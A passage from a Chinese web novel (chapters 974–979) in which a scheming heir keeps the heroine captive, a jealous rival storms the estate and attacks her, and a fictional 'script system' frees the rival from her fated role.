周宴珩眼中最后那点虚假的“怜悯”也消失殆尽,近乎生理性的厌恶让他猛地收回了手,指尖在空中用力甩了甩,仿佛是嫌弃被弄脏了。 “周助。”他面无表情,转身准备上车。 “是,少爷。”周助立刻应声,从门内阴影处再次现身,低头越过沈眠枝,坐进了驾驶位。 “周宴珩!” 沈眠枝对着周宴珩的背影怒吼,那声音尖利,带着哭腔,硬生生刺破了雪幕的沉寂。 “为什么?!你告诉我到底为什么?!我不明白!你到底……到底想要什么?!” 明明他们才是最配的,明明他也曾温柔待过她,为什么忽然就不愿意再演了? “砰——” 车门关得决绝。 黑色的轿车缓缓起步,轮胎碾过积雪,发出“嘎吱”的轻响,驶入苍茫的雪幕之中。 周宴珩用行动告诉她:厌恶的时候,连回头看一眼都是多余。 …… 第974章 游戏 北湾远郊,私人山脉的最高处。 一座全玻璃结构的观景台凌空挑出悬崖,三面皆是顶级特种玻璃无缝拼接,透明度极高,几乎消融了室内外的界限。 脚下是垂直的岩壁,再往下,是连绵起伏、直至天际线的莽莽雪岭。 这里,有全北湾最美的雪景。 周宴珩坐在观景台中央一张宽大的休闲椅中,赤脚踩在温热的地板上。面前低矮的茶几上,只放着一杯冰泉水,玻璃杯壁凝结着细小的水珠。 “少爷。”周助推门而入,垂首汇报,“沈小姐已经回到老宅,她看上去没什么异样,还主动提及明日的花艺课,看样子是不打算离开。” 都这样了,还坐得住,图谋不小。 周宴珩唇角似乎弯起一个极淡的弧度,说不清是嘲弄还是别的什么。 他摆摆手,周助会意,躬身退下。 “你到底想做什么?” 观景台内侧缓缓走出一个人。 顾彦额角的伤口已简单处理过,贴着一小块纱布,但脸色依旧苍白。 他走到周宴珩对面坐下,似在权衡:“沈眠枝是沈家唯一沈姓女,她父亲掌管的沈家暗堂地下势力非同小可。她现在对你死心塌地,娶了她,沈家再想对你下手就没那么简单了。明明百利而无一害的事,你为什么要把人赶走?” 百利而无一害? 周宴珩笑了笑,眼底暗了几分:“你问这么多干什么?” 顾彦与他对视一眼,主动转移视线,望向脚下的雪山。 “我孤注一掷来投奔你,总得知道你在谋划什么?” 周宴珩摇头,撩起眼睑:“你也知道你是来投奔的,那就我说什么你做什么。人有价值才能生存,不管在哪都是这个道理。” 顾彦嘴唇抿紧,沉默片刻后抬眸看向周宴珩:“顾家回不去,我现在已经没有退路了。说吧,你让我来北湾想让我做什么?” “这就对了。”周宴珩勾起嘴角,“周助还有别的事要做,你替我看着榆园。除了我的命令,谁敢擅闯,就让他消失。” 顾彦皱眉:“你真被姜花衫迷了心智?” 周宴珩站起身:“你就当是吧。能做吗?” 顾彦微微收拢指尖,闭上眼算是妥协:“好。” 周宴珩:“去找周助,他会安排。” 顾彦不由又看了周宴珩一眼,点了点头,转身退出了房间。 很快,巨大的空间里,只剩下周宴珩一人。 窗外,幽微的天光勾勒出山峰冷硬而遥远的轮廓。 人们觉得北湾山脉的雪景美,是因为他们从山脚仰望,被那巍峨的、覆着圣洁白雪的峰峦所震撼,心生敬畏与向往。 那是仰望者眼里的风景,带着距离产生的纯粹与幻想。 但他感受不到。 因为从他的视角,巍峨的山脉被踩在脚下。在这极致的寂静与高度里,连雪花飘落都失去了痕迹。 周宴珩单手托腮,眼底沉淀着一片阴翳。 “铃——铃——” 房间里响起突兀的电话铃声。 周宴珩淡淡瞥了一眼,维持着单手托腮的姿势,直接按下了免提键。 “阿珩!”电话那头传来周国潮低沉的声音,“你到底想做什么?我警告你,不管你想做什么,在云乡的事完全落幕之前,都必须把沈眠枝留在北湾,听见没有?” 周宴珩依旧看着脚下,眼里的幽光越来越亮:“听见了。” * 榆园,主楼卧室。 房间里暖气很足,空气寂静,只有极轻的呼吸声。 姜花衫陷在柔软得过分的羽绒被里,睡得并不安稳。 梦境光怪陆离,橘色的藤蔓四处伸展,死死拽着她的四肢拖向深渊。 她无意识地蹙着眉,在枕头上轻轻蹭了蹭。就在意识即将被橘色的光晕吞没时,睫毛剧烈颤动了几下,猛地睁开了眼睛。 黑暗中,视线尚未完全清晰,但床侧的轮廓分明多出了一团更深沉的黑影。 “啊——!” 任谁醒来看见床头坐了一个人都会被吓一跳。 姜花衫惊呼一声,几乎是弹坐起来,后背瞬间沁出一层冷汗,睡意全无。 黑影笑了笑,黑曜石般的眼眸里闪着戏谑的光。 “周、宴、珩?” 认出是来人的瞬间,姜花衫的惊恐非但没有平息,反而无端窜出一股邪火。 她想也没想,被绑住的双手猛地抓起身侧的枕头,朝着周宴珩狠狠砸了过去! “你有病啊?!大晚上的不睡觉,跑这儿来装神弄鬼!” 周宴珩微微歪头,枕头擦过他的侧脸落地。几缕飞出的鹅绒轻轻划过他的睫毛,瞳孔里的光莫名又暗了一轮。 他倾下身,单膝抵着床沿,把姜花衫笼罩在自己的身影之下。 “我睡不着。” “……” 卧室里重新陷入寂静。 姜花衫感觉到周宴珩心情不好,稍稍收敛了怒火,身子不觉向后退。 这个时候去挑衅一头想撞破牢笼的恶兽,不是明智之举。 周宴珩见她收放自如,一股说不清的感觉再次萦绕上来。 她退,他就进。 黑色西裤摩挲着身下洁白的被单,拉扯出极其暧昧的痕迹。 眼看姜花衫都快退到床沿了,他一把拉住她身上的被子往自己这边带:“你跑不掉的,过来。” 这家伙该不会是受了什么刺激,进化了吧? 姜花衫直觉不妙,起身就想跑,但奈何双腿被绑,刚起身就被周宴珩抓了回去。 周宴珩一把将她拖回床上,十分恶劣地扳正她的脸,让她看着自己的眼睛:“你猜对了,我的确不喜欢勉强人,但……我忽然又觉得,人就是应该勇于尝试,万一强扭的瓜也甜呢?” 姜花衫反身,用手抵住周宴珩的肩膀,企图拉开距离。 周宴珩一把勾住了她双腕间的束缚带,固定在头顶,腰身拱起如满弓之弦,另一只手掐着她的下巴,迫使她抬高脸颊。 他用指腹轻轻摩挲着姜花衫的下唇,直到饱满的唇肉透满红色,才慢慢俯下身,轻声道:“别怕。我没病~” 周宴珩故意慢慢落吻,两人四目相对,谁都没有退缩。 就在鼻尖即将触及脸颊时…… 姜花衫忽然开口:“你不就是无聊了吗?这游戏不好玩,我们玩别的。” 周宴珩身形微顿,垂眸打量她:“玩什么?” 姜花衫:“我们轮流互相提问。如果我能猜出你的心声,你就满足我的要求;如果你能猜出我的心声,我就脱一件衣服。” 这么变态的游戏,应该能吸引这个死变态了。 周宴珩偏头想了想,声音暗哑:“没兴趣,我现在什么都不想玩,就想玩你。” 姜花衫瞬间被点燃,身体剧烈扭动:“我*你!” 周宴珩眉梢莫名染上一丝愉悦:“那可不行,我不喜欢在下面。” 嘴上虽然这么说,但下一秒他就松开了桎梏。 周宴珩翻身坐在床上,兴趣盎然地看向姜花衫:“来吧。但别怪我没提醒你,被扒光了再求饶可就没用了。” …… 第975章 给她换草莓蛋糕 嗤!变态玩意儿,想吓唬谁? 姜花衫调整坐姿,与周宴珩拉开一段距离,被绑的双手自然放在大腿上,随时准备出击。 相比起来,周宴珩放松许多,“游戏不错,但怎么保证提问的一方不会说谎?” 姜花衫:“这好办,只要对方答错,问的人必须公布自己的正确答案。大家都是有脑子的人,不会轻易被糊弄。” 周宴珩细想了一遍,也觉得合情合理,点了点头:“既然是我让的你,那第一个问题我先来?” 这是心理战,先试探她有几斤几两,再决定游戏要怎么玩? 姜花衫一眼看透,表现得十分大度,“好啊。” 她的利落使得室内的空气似乎凝滞了一瞬。 周宴珩停顿了一秒,眼里依旧带着戏谑,“你知道我想要什么吗?” 这是今天他听到的最多的废话,正好拿来溜猫儿。 “给我在这耍心眼?”姜花衫眯了眯眼,上下打量他,“你犯规啊!问问题必须是单一指向且只有一个合理回答。你想要什么?人做不同的事想要的东西都不一样,你不说清楚,我怎么知道你说的是哪件事?” 周宴珩愣了愣,大脑就像精密运转的齿轮里突然卡住了一根羽毛,他来不及抓住这一缕情绪,齿轮又开始继续转动。 他点了点头,“你说的对,那换个……” “漏!”姜花衫举起双手打断,“机会不会一直等你,既然是你自己没把握住,现在就轮到我了。” “……”周宴珩保持着前倾的姿势,停顿在那里。 竟然轻而易举地就被她拿走了先机。 空气仿佛也随着他这一瞬的停滞而凝固,壁灯的光线落在他挺直的鼻梁上,投下一小片阴影。 “好啊。”他笑着应道。 姜花衫几乎不假思索就抛出了第一个问题:“你猜,我为什么让姜晚意假扮周琦珊?” 周宴珩略有些意外。 这个问题他曾经问过姜花衫,她死活不愿意开口。现在竟然作为游戏筹码? 要知道如果他答不上,她自己就要公布正确答案,这相当于无偿给了他一个获取情报的机会。 但姜花衫越是这样,他大脑神经元的多巴胺就分泌得越快,因为他知道,姜花衫为了对抗他而设计的游戏绝不会简单。 周宴珩摇头,一看就没动脑子:“不知道,答案是什么?” 姜花衫:“因为我知道,路迦最后一定会选择周琦珊。我要确保证据安全落在周琦珊手里,所以我就想到用姜晚意替周琦珊去死。” 周宴珩沉默片刻,点了点头,“你可以提你的要求了。” 所谓的要求也是有分寸的。 现在周宴珩还没有完全被吸引,如果这个时候姜花衫提出放她走,或者其他越界的要求,周宴珩一定会恶劣地终止游戏。 说白了,这场游戏能开始,是周宴珩主宰的,但能不能继续,就看姜花衫的本事。 姜花衫红唇微弯:“我要求从明天开始,给我换草莓蛋糕。” 周宴珩抬眸,一丝愕然如同滴入深潭的水滴,瞬间消失不见,取而代之的是一种更浓的兴味。 “好啊。轮到我了?” 姜花衫抬了抬下巴。 周宴珩身体前倾,带着满满压迫感,“那你猜猜,我为什么要绑你来北湾?我想对你做什么?” “啧啧啧~”姜花衫连连摇头,这次没有退,腰身往前直勾勾迎上他灼人的目光,“你不是想对我做什么,你是想对你爷爷……周家老爷子做什么?” 周宴珩脸上的笑容瞬间消失,眼里的戏谑也如同潮水般顷刻退去。 他缓缓掩眸,几乎不带任何情绪专注地打量姜花衫。 他的伪装被剥落得猝不及防,以至于脑子一时来不及做出反应。 姜花衫歪头,眼里闪着胜券在握的亮光,“怎么样?我是不是可以提要求了?” 周宴珩不动声色地退回原位,抬手做了个请的动作。 姜花衫一把掀开被子,露出被捆住的腿,“松绑。” 自从周宴珩见识过她的身手后,防她跟防江洋大盗似的,每天除了固定的三个小时松绑时间,其余时间她都被绑得结结实实。 虽然她暂时没想过逃跑,但这么绑不利于血液循环,腿都变粗了。 周宴珩的目光落在她脚踝的束缚带上停顿了片刻。理智告诉他应该停止这个游戏了。 只要不玩,就没有输赢,他就是永远的上位者。 但…… 良久。 他侧过身,指尖精准地找到搭扣,“咔哒”一声轻响,束缚应声而开。 整个过程迅速而安静,他甚至没有触碰她的皮肤。 “继续。” 姜花衫稍稍活动了双腿,改成跪坐,正要开口。 周宴珩忽然道:“规则改变了,现在只能我问,你答。错一个,游戏结束。” 姜花衫迟疑了片刻,点头,“好啊。” 事实上,她现在也没有说不好的权利,所以对于这点,她并不争取。 周宴珩:“你猜,我为什么要对付自家老爷子?我想要什么?” “自由。”姜花衫答得飞快,想了想又觉得不够妥帖,立马改正,“不是自由,是绝对的自由。” 如果说,之前周宴珩还对这场游戏之后的姜花衫存有亵玩的心思,那么现在,在姜花衫说出“绝对的自由”后,这份逗弄的心思几乎荡然无存。 他没有说对,也没有说不对,瞳孔中燃着幽邃到令人心悸的寒芒,牢牢锁定在姜花衫脸上。 “不够详细。” “你要详细?好办。” 姜花衫回想着剧目之门给自己的结语,迅速组织语言,“你是周家选定的继承人,脑子还算聪明的你善谋擅算。云乡的事让你一眼就看到了周家的未来,你比谁都明白受制于人的强大终有一天会衰败,要想断其沉疴就必须割除所有的腐肉,而周老爷子就是家族最大的败笔。” “你自小深谙名利权势带来的好处,所以你不会让周家这艘大船沉没。要想周家不倒就必须改朝换代,周老爷子只能变成家族的祭品。而你想要的自由,是自己能决定周家这艘大船的存续和方向。” 周宴珩的眼神变得逐渐危险,薄唇微启,“你用了‘存续’?” 姜花衫:“因为你压根就不在乎周家的命运,你只在乎周家的命运是不是掌控在你手里。之所以在乎,是因为你明白,你追求的绝对自由脚下必须要有坚固的基石,周家就是你的基石。” “够详细了吗?” “够了。” 周宴珩黑瞳里的幽邃骤然凝定,目光一下变得温柔起来。 他站起身,单膝抵着床沿,倾身向前,一把拉过姜花衫的双手。 壁灯的光线被他完全遮挡,阴影彻底将她笼罩。这个距离,近得能看清他根根分明的睫毛,却感受不到任何威胁。 他修长的手指精准地探向束缚带的金属搭扣,正要按下—— 姜花衫抬起双手,“错了!我这次的要求可不是松绑。” 周宴珩低头,一副洗耳恭听的模样,“那是什么?” 姜花衫仰起头,挑起眉梢,“七天,我不想看到你。还有,以后都不准突然出现在我的床边。” 周宴珩呼吸一滞,眼里多了几分意味深长,“这是两个要求。” “超长plUS详说版,值得两个要求。” 周宴珩凝视她的目光渐渐聚拢,半晌后,他扯出一抹冷笑,“连削带打,把我当狗训,这又是谁教你的?” 要是现在他还没有反应过来自己被调教了,就枉费自己玩弄人心这么多年。 不过调教别人这么多年,第一次被别人调教,也算是个新奇的体验。 所以,他并不生气。 “你啊~” 上一世,周宴珩到处玩弄人心、训狗,她耳濡目染自然也学了几招。 但真话掺假,周宴珩根本不信,只当姜花衫是在嘲讽他。 周宴珩懒得跟她计较,轻轻推了她一把,起身整理袖口:“你师父教得不错。不过……你现在应该好好想想,七天以后你又该怎么办?” 姜花衫顺势举起被绑的双手:“你猜,我为什么留着这个?” 周宴珩看着她这样,忽然心跳不止,眸光不由黯了几分。 姜花衫顿时警铃大作,“你别想对我图谋不轨,一个问题都回答不上,你还有脸?” “你说的对。”周宴珩有些遗憾,弯下腰捡起地毯上的大衣,随意搭在臂弯,“那……我们七天后见。” 姜花衫:“……” * 周宴珩走出房间时,眉宇间明显多了一丝愉悦的满足。 顾彦斜倚在对面墙壁的阴影里,那双眼睛在周宴珩出现的瞬间,便锐利地看了过来。 都是男人,顾彦不觉就被带歪了,表情瞬间变得难看。 大晚上,开了三百多公里的雪路就为了回来睡一个女人?他现在严重怀疑自己投奔周宴珩这个决定错得离谱。 周宴珩懒得解释,越过顾彦时眼里都没撩一下,“把人看稳好,尤其是这七天。” 顾彦憋着一口气,嗯了一声。 周宴珩走出过道,忽然想起什么,又折了回来,转头看向助理,“从明天开始,给她换草莓蛋糕。” 顾彦气得眼前一黑又一黑。 睡一觉还送蛋糕? 他来投奔之前也没听说周宴珩是个恋爱脑啊? …… 第976章 暗堂集结 次日清晨,周家老宅。 餐厅里光线明亮,长桌上铺着雪白的亚麻桌布,银质餐具在晨光下泛着冷冽的光泽。 各式精致的早点散发着温热香气,却驱不散这偌大空间里某种无形的沉闷。 沈眠枝坐在靠窗的位置,小口喝着燕窝粥。 她穿着米白色的羊绒裙,长发柔顺地披在肩后,妆容完美,姿态优雅,仿佛昨日在榆园门前那场狼狈与泪水从未发生。只有眼底一丝不易察觉的淡青,透露着些许未休息好的痕迹。 窗外,两个穿着整洁制服的中年女佣自以为隐蔽,在廊下交头接耳。 “……可不是嘛,我就说少爷怎么老不回来住,原来是在榆园藏了人……” “嘘,小声点……听说昨晚那边动静可不小,快半夜了才消停……少爷的车也是天快亮才走的……” “少爷这是什么意思啊?好端端的沈家大小姐不要,去外面沾花惹草……” “金屋藏娇呗,男人嘛……都一个德行……就是不知道是哪家的千金,藏得这么严实……” “什么千金哦,我听说啊……”声音压得更低,带着某种隐秘的兴奋,“是个来路不明的,长得倒是勾人……不然怎么能把少爷迷得……” “哐当!” 一声瓷器与桌面清脆的碰撞声突兀响起,打断了角落的窃窃私语。 两个女佣吓了一跳,慌忙噤声低头,眼观鼻鼻观心,假装专心擦拭。 沈眠枝握着银勺的手指因用力而微微发白。手边的青瓷小碗因刚才放下时力道失控,在盘子上磕出清晰的声响。 碗里的燕窝粥微微晃荡,映出她骤然失去血色的脸。 她垂下眼帘,浓密的睫毛剧烈地颤抖了几下。胸腔里像是被塞进了一块浸满冰水的海绵,又冷又沉,挤压得她几乎无法呼吸。 榆园……金屋藏娇……闹到大半夜…… 每一个字都像烧红的针,狠狠扎进她的耳朵,刺穿她勉强维持的平静表象。 这一刻,理智在疯狂拉扯。 一个她很清楚:两个佣人敢在她眼皮子底下嚼舌根,还说得有模有样,必然是得到了某种默许。 周家老爷子千方百计把她留在北湾,只怕等的就是这场戏。 但另一个她却不受控制地嫉妒发狂。 难怪昨天周宴珩对她如此决绝,连榆园的门都不让她进……原来是有人鸠占鹊巢,抢了她的位置。 但不管是哪个她,都隐约猜到了榆园那位是谁。 沈眠枝在餐厅里又静坐了约莫五分钟。 她近乎机械地吃完了那碗已经凉透的燕窝粥,优雅地擦拭过嘴角,才慢条斯理地拨通了周国潮的电话。 下一秒,她的表情瞬间崩塌,泣不成声:“周爷爷,您说的话还算不算数?” 周国潮状似不解,连声安抚:“这是怎么了?受什么委屈了,说出来,周爷爷替你撑腰。” “有您这句话就够了。”沈眠枝挂了电话,眼泪立马收住,二话不说又拨通了另一通电话。 “一个小时内,让沈家在北湾暗堂的人都来周家老宅见我。” …… 第977章 爱而不知 私宅水廊,地面是整块特种玻璃,其下引入温控活水,数十尾锦鲤在幽蓝光影间巡游。 周宴珩赤足站在玻璃上,指尖捻着饵料,漫不经心地撒落。 屋内鱼群聚散,搅碎一池斑斓光晕。 “少爷。”周助的声音在廊口响起,“沈小姐带着沈家暗堂的人,往榆园去了。” 周宴珩投饵的动作未停。 “她带了多少人?” 一粒饵料落下,被一尾朱红锦鲤跃起衔住,溅起细微水花,在玻璃下漾开涟漪。 周助:“估摸着应该有几十号人。” “顾彦呢?” “都交代清楚了,少爷放心。” 周宴珩指尖捻饵的动作终于停了下来。他将剩余的饵料一股脑儿全部洒入水中,斑斓的鱼儿瞬间聚拢、争抢,将饵料分食殆尽。 沉默片刻,周宴珩才淡淡开口:“下去吧。” 周助神情微愣,抬眸看了他一眼,立马转身退了出去。 周宴珩盯着脚下的锦鲤看了一会儿,忽然蹲下身,拿起渔网逗弄一条没有抢食、正悠然摆尾的朱红锦鲤。 姜花衫说的没错,云乡是他争夺自由战争。 从老爷子告诉他,周家自祖辈开始受人挟控,他就明白了一个道理:如果不想办法摆脱这些陈年把柄,终有一天,周家将会在A国彻底消失。 既然老爷子将周家的未来交给他,他也愿意继续享用家族的权柄,那么厘清百年沉疴就显得很有必要了。 他之所以瞒着所有人让路迦把消息传出去,是因为他知道路迦必然有后手,这些人的血比烈火里的油还热,他们一定会把周家的罪证送到该送达的地方。 老爷子以为壁虎断尾,以整个云乡为祭就能求取一线生机,实在是太天真了。 尤其每每谈话时还总咄咄逼人问他想做什么,周宴珩想想就觉得可笑。 纵横名利场一辈子的权谋者,竟看不懂他的布局?!老爷子的昏聩让他觉得夺权的迫在眉睫,毕竟家族要想攀登根本容不下昏聩者。 所以,他绑架了姜花衫。 以她的影响力,必然会让事情在最短的时间内爆发,再加上沈家的权势,云乡的罪证就不是死几个人就能掩盖的。 至于沈眠枝,从她出现在北湾,周宴珩就看出了周国潮的布局。 周家即将因云乡大乱,整治家族需要时间,这段时间他必须给沈家找点事做。 于是,他顺势而为,让老爷子觉得自己因为一个女人昏聩,昨日又故意在榆园刺激沈眠枝,为的就是今日互相残杀的戏码。 而顾彦,是他最后添的一把火。 沈眠枝从顾彦的反应一定会以为他和姜花衫发生了什么。她曾经为了他,连萧兰澜都敢杀,现在被嫉妒迷了心智,就更不得了了。 周宴珩想得入神,一时不察,网兜里那尾朱红锦鲤忽然借力扭身,鳞片在幽蓝水光中划过一道刺目的红弧瞬间没了踪影 他握着空渔网的手,顿在了半空,不知怎的,眼前忽然晃过一张祸害的脸。 扰人心烦。 周宴珩缓缓站起身,将渔网丢进水池,随手拿起私人手机。 铃声只响了一声,对方立马接通。 “天杀你大爷的!你特么死哪去了?终于舍得联系老子了!”电话那头,关鹤喜极而泣。 周宴珩皱了皱眉,把手机拿远了一点,语调冷淡,“关鹤,我们认识多少年了?” 关鹤嚎啕的声音戛然而止,声音带着小心翼翼的颗粒感,“发生了什么事了?阿珩…你别吓我…你不会是得了什么绝症?” 周宴珩忍住挂电话的冲动,语调冷了几分,“你脑子一天不抽会死吗?” “……”关鹤捂着小心脏,“不是绝症就好,嗯~~说起来,我们幼儿园就认识了,算算时间,快十九年了吧。咋啦?怎么突然想起问这个?” 周宴珩:“你知道我想要什么吗?” “这……我哪知道?”关鹤骂骂咧咧,“老子从幼儿园起就看不懂你~那个时候全班都尿床,就你不尿,三岁就能憋住屎,我到现在都没想通。诶……对了,你什么……” “嘟——” 周宴珩面无表情挂了电话。 “周助。” 周助一直守在门外,听见声音立马推门进来,“少爷,有什么吩咐。” 周宴珩眼皮都没撩,快步越过,“备车,去榆园。” * 彼时的榆园外,鹅毛雪纷飞。 沈眠枝从车里下来,眼神冰冷。 身后,两列穿着黑西装的暗堂精锐们悄无声息地立着,气氛肃杀得连空气都仿佛凝滞。 为首的中年男人,微微躬身上前:“小姐,要不要先……” “敲门”两个字还没出口。 沈眠枝已经抬起手,纤细的指尖在微光里划过一道凌厉的弧线。 “给我砸了!” 中年男人眼神一凛,没有任何犹豫,只对身后做了一个极简洁的手势。 一群身形魁梧的保镖涌上前。 “砰——!” 一声巨响,门轴崩断,整扇沉重的黑色大门向内颓然倒塌,深深陷进门前堆积的新雪里,溅起一片雪沫。 沈眠枝目不斜视,踩过倒塌的门板,径直走入风雪弥漫的榆园。 “沈……沈眠枝,你想做什么?” 她踏入榆园不过三步,顾彦领着一群人匆匆从主楼前厅冲了出来,原本还想呵斥,看见雪地里倒塌的大门猛地立马噤声。 “顾彦?”沈眠枝抬眸看向他身后的主楼,“周宴珩竟然请你亲自守在这,看来里面的人他当真宝贝得很。” 这是? 抓奸?!!! 顾彦神情古怪,眼看着对方人多势众,他也不好硬拼,只能硬着头皮调解:“沈眠枝,你这么闹下去对你对周宴珩都没有好处,适可而止吧。” “适可而止?”沈眠枝冷笑,“我就是太好说话了才会被人踩在头上撒野。阿彦哥,大家都是老熟人了,你告诉我,周宴珩是不是在里面藏了人?” 顾彦眼神微闪。倒不是他真控制不住情绪,而是透着几分私心。 他是来投奔周宴珩干一番大事的,不是在这看他恨海情天的。 沈眠枝哪还有不明白的,眼底闪过一抹决绝,径直朝主楼走去。 “沈眠枝!”顾彦上前一步欲拦。 两名沈家暗堂的黑衣人迅如鬼魅般错身挡在他面前。其余榆园保镖刚有动作,便被更多黑衣人冷厉的目光与蓄势待发的姿态逼退。 沈眠枝头也不回,一把推开了主楼那扇雕花厚重的木门…… …… 第978章 【绝对理性的先知】 二楼主位。 壁炉里柴火噼啪作响,丝毫感受不到严冬的冰寒。 姜花衫侧坐在铺着柔软绒毯的单人沙发里,长发松松散在肩头。虽然双手被缚,但并不妨碍她手握银叉,戳起一块裹满奶酱的草莓蛋糕送入口中。 “砰——!” 毫无预兆,卧室的门被人从外撞开。 姜花衫动作一顿,歪头朝门口打量,待看清来人后,眸光深了几许。 “枝枝,你怎么找到我的?”她立刻放下银叉,举起被绑的双手朝她招了招。 沈眠枝立在门口,肩头落着未化的雪花,周身裹挟着门外寒气与戾气。 她盯着姜花衫,语调古怪,“果然是你。” 姜花衫脸上的笑意淡去,“你怎么了?看见我,你好像……一点都不开心?” “开心?”沈眠枝轻嗤,缓缓走进房间,路过茶几时顺手掀翻了那碟蛋糕。 “你让我怎么开心?姜花衫,为什么每次都是你?我们不是好姐妹吗?为什么你就不能跟周宴珩保持距离?为什么你总是要抢我的东西,爷爷是这样,周宴珩也是这样。” 眼前的女孩儿让姜花衫感到陌生,但没关系,她所熟悉的那个女孩,很快就会回来。 她抿了抿嘴角,若无其事地擦去唇边奶油,“所以呢?你大费周章闯进来,不是救我,是来跟我算账的?” “姜花衫!!” 沈眠枝被她这漠然的态度彻底激怒,一把揪住她的衣襟,“你知道这是哪里吗?这是周家给周宴珩备的新房!你知不知道你躺的那张床,原本……原本……” “原本什么?”姜花衫蹙眉,一把甩开她的手,“原本该是你和周宴珩的婚床?沈眠枝,你真无可救药。现在我就睡了,你想怎样?” 沈眠枝被她推得踉跄,险些撞上桌角。 那句“我就睡了”更如最后一根稻草,压垮了她摇摇欲坠的理智。 沈眠枝缓缓抬眸,眼底泛上血丝,“有那么多人喜欢你,你为什么还不知足?为什么明知我会伤心,你还是这样不顾忌?为什么?” 她眼中的旋涡愈加深沉,理智被嫉妒吞噬,这一刻,她对姜花衫的恨意抵达顶峰。 去死。 不!她是姜花衫啊,你怎么能伤她? 两个她在疯狂撕扯,沈眠枝的面容慢慢出现扭曲,甚至出现了不受控的抽搐。 姜花衫见状,扶着沙发徐徐起身,神色冷淡:“你真可笑。我凭什么要让着你?我不是早告诉过你么?我就是故意的。我给过你机会,你争不过,怨不得我。” 沈眠枝明灭不定的眸光骤然一滞。 她忽然想起什么…… 就在这一瞬,理智彻底溃退。 她狠狠抬眼,抓起桌上那柄银叉,朝姜花衫扑去,“那……你就给我去、死!” 姜花衫侧身避开,淬毒的嘴仍未停歇,“别怪我没提醒你,周宴珩现在被我钓成狗了。你敢动我,他说不定会杀了你。” “啊啊啊!去死!”沈眠枝彻底失控,攥紧银叉胡乱刺来,动作毫无章法,只剩发泄般的狠厉。 被缚的双手极大限制了姜花衫的行动。沈眠枝攻势愈凶,叉尖“嗤”地一声在她白皙小臂上划开一道细长血痕。 姜花衫瞥了一眼伤处,并未呼救。她目光在屋内逡巡一圈,慢慢退向身后的窗户。 “你就只会躲吗?!” 沈眠枝看准空隙,猛地将姜花衫扑倒在窗台上。 窗扇被撞开,风雪呼啸着卷过两人眉眼。 沈眠枝用身体死死压住姜花衫,左手粗暴扼住她纤细的脖颈,右手握着那柄染血的银叉,缓缓刺向她心口。 “是你逼我的……” 呼吸被扼,姜花衫忽然停止了挣扎。她缓缓阖眼,任一片雪花飘落,藏进她低垂的睫羽。 当银叉没入心口时—— “砰!” 房门再次被重重撞开。 这一次,出现在门口的是裹挟满身风雪的周宴珩。 目光触及这一幕的刹那,周宴珩只觉浑身血液骤然冻结。 他甚至来不及思考,身体已先一步冲出。 “找死。” 周宴珩一手攥着沈眠枝持叉的手腕,另一只手狠戾地掐上她的脖颈 沈眠枝原本深陷憎恶的狂潮,猝然撞见周宴珩眼中凛冽杀意,那根紧绷的癫狂之弦,铮然断裂。 “你……为……为了她,要杀我?”她艰难挤出字句,神情陡然变得怪诞。 姜花衫原本闭目静待终幕,冷不防被打断,趁二人不备,抬脚便朝周宴珩胯下踹去,“别碍事!” 周宴珩未防,闷哼一声,指间力道不可避免地松懈。 就在这一瞬! 沈眠枝挣脱钳制,将所有怨恨与绝望都迁怒给了姜花衫。 “那就一起死!” 她死死抱住姜花衫,用尽最后气力猛然向后一仰。 两人朝着窗外漫天风雪,倒坠而下! “不……” 周宴珩目眦欲裂,扑到窗边伸手去抓,指尖划空的瞬间,眸光瞬间灰暗。 他僵住片刻,几乎是用尽全力,一点一点,垂下视线。 当目光艰涩地落于窗下时,原本失色的瞳孔骤然掀起惊涛骇浪。 窗下的雪地里长出了一根半尺长的冰锥,冰锥被染成了红色。 姜花衫将沈眠枝抱在怀里,侧脸被血水染红,见他看着自己,她举起手握银叉的双手,指尖倒扣。 咔。 束缚,解开了。 -【叮——】 -【剧目提示:当前人物姜花衫与沈眠枝共创剧目达成,完成进度:100%】 -【叮——】 -【恭喜当前人物姜花衫获得共创之力,你拥有一次为同伴撰写新标签的权利,是否使用。】 “是。” -【叮——】 -【致所有沈眠枝:女生永远不要用自我感动的方式讨好不喜欢你的人,你改变不了任何结果,你唯一能改变的只有自己的心意。作者:姜花衫】 -【叮——】 -【金兰篇沈眠枝,完成目标:处心积虑杀死对方,完成进度:2/2】 -【恭喜您完成剧目隐藏剧情,金兰篇之《沈眠枝》】 -【剧目奖励:绝对理性的先知】 -【绑定/赠与】 -【赠与】 -【叮——】 -【剧目提示:当前人物沈眠枝个人剧目触发条件达成,完成进度:100%】 -【恭喜当前人物沈眠枝挣脱命运的枷锁,剧目之力终为孤勇者让步,从此,荆棘王冠由你加冕,自由新生任你拓荒。】 …… 第979章 自由之争 这是…… 自由了?! 沈眠枝眨了眨眼,噙在眼底的泪水不觉顺着脸颊流了下来。 她能感觉到那股束缚她的力量消失了,不仅如此,这一刻她觉得自己格外清醒,这辈子都没有这么清醒过。 沈眠枝低下头,目光落在姜花衫的脸上。 血痕蜿蜒在一片白色里显得尤其刺目,姜花衫却只看着她笑,没有一丝舍身救赎的悲悯。 沈眠枝也跟着笑了笑,泪水变成了眼里的星光。 其实,她一直都是清醒的。 在这场人格争夺的独角戏里,她平静地看着自己发疯,看着自己去伤害重要的人,甚至平静地看着自己去死,因为她忽然想起来,她答应过姜花衫。 -“我说的相信,是即使人证物证俱在,即使我也亲口承认背叛,你依旧毫无保留地相信,你确定自己能做到吗?” -“要是输了,你会万劫不复。我们赌吗?” 她答应过她: -“赌,不赌怎么赢下未来?” 雪地里的少女和当年阳光下的女孩儿渐渐重合。 沈眠枝哽咽着小声问道:“我们赌赢了吗?” 姜花衫对她竖起大拇指,“赢了,赢得很漂亮。” 她和沈眠枝坠落的高度只有二楼,再加上一尺厚的积雪,死亡的概率不大。 可就当她们身体腾空窗外时,她突然发现雪地里竟然长出了一根半尺长的冰锥。她是剧目女主,这根冰锥自然不是冲着她来的。所以,这根冰锥的目标是谁,不言而喻。 蓦地,她想到了共创剧目的提醒,她拥有一次死亡豁免权。 难道这就是破除沈眠枝个人剧目的关键? 于是,她利用被缚的手臂和膝盖顶撞沈眠枝髋侧,借力在空中强行扭转。坠落的瞬间,完成了方向对调。 冰锥擦过她的脸颊,留下了鲜红的血珠。 因为剧目定义了,她的美貌是重要标签。所以冰锥没有伤害她的性命,只刺伤了她的脸。 虽然过程凶险,但她们最终还是赢了。 此刻,再多的语言都显得苍白。这是独属她们共创剧目的心照不宣。 沈眠枝抬手,指尖在即将触碰到姜花衫脸颊上那道血痕时,蓦地顿住了。 她忽然想起什么,抬头望向二楼那扇依然洞开的窗户。 